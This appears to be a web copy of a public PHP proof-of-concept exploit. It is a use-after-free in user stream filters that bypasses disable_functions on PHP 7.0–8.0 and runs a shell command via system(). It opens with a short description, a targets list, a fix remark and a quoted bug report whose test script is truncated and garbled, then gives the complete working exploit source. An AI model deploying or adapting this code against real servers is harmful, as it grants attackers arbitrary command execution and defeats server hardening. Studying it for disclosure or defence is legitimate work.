This exploit uses a bug reported over 10 years ago. As usual, the PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.
Targets
5.* — exploitable with minor changes to the PoC
7.0 — all versions to date
7.1 — all versions to date
7.2 — all versions to date
7.3 — all versions to date
7.4 — all versions to date
8.0 — all versions to date
Fix
Stop relying on disable_functions (or any other php.ini settings) for security.
Post scriptum
There are many memory corruption vulnerabilities in PHP — some of them are publicly known, others are not. Regardless, PHP devs don’t care much about these, as you can see in the bug reports.
This PoC is for demonstration purposes only. The exploits that could’ve been developed/used during the past decade might be not.
Description:
The attached code shows a serious memory corruption (either crash or abort by glibc). I think I reported a similar testcase before (using filter) but the crash/corruption seemed different and I think it was not user_filter related, so it’s not clear if this is a duplicate or not.
Test script:
stream); } } stream_filter_register(‘user_filter’,’user_filter’); $fd = fopen(‘php://memory’,’w’); $filter = stream_filter_append($fd, ‘user_filter’); fwrite($fd, «foo»); ?>
Actual result:
When run on command line, terminated by glibc:
*** glibc detected *** /home/decoder/LangFuzz/php-trunk
<php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1
pwn('uname -a');
function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fwrite($fd, 'x');
}
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
?>